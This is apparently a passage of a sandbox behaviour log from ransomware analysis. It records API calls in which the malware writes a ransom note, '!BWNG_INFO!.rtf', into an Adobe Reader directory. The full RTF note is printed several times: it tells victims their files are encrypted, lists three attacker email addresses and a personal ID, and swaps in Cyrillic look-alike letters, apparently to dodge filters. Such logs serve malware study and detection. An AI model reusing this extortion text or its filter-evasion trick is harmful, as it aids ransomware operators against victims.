\\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n\x0f\x05\x0e\x8d\x1d¡øý\x03ø×=\n?\x06û\x1d÷A÷C÷+\x05Ø\\\x1dûN1\x03\x09", lpUsedDefaultChar=0x0) returned 14086 [0041.887] WriteFile (in: hFile=0x168, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0041.888] CloseHandle (hObject=0x168) returned 1 [0041.888] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\services\\!bwng_info!.rtf")) returned 0xffffffff [0041.888] GetLastError () returned 0x2 [0041.888] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\services\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0041.890] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 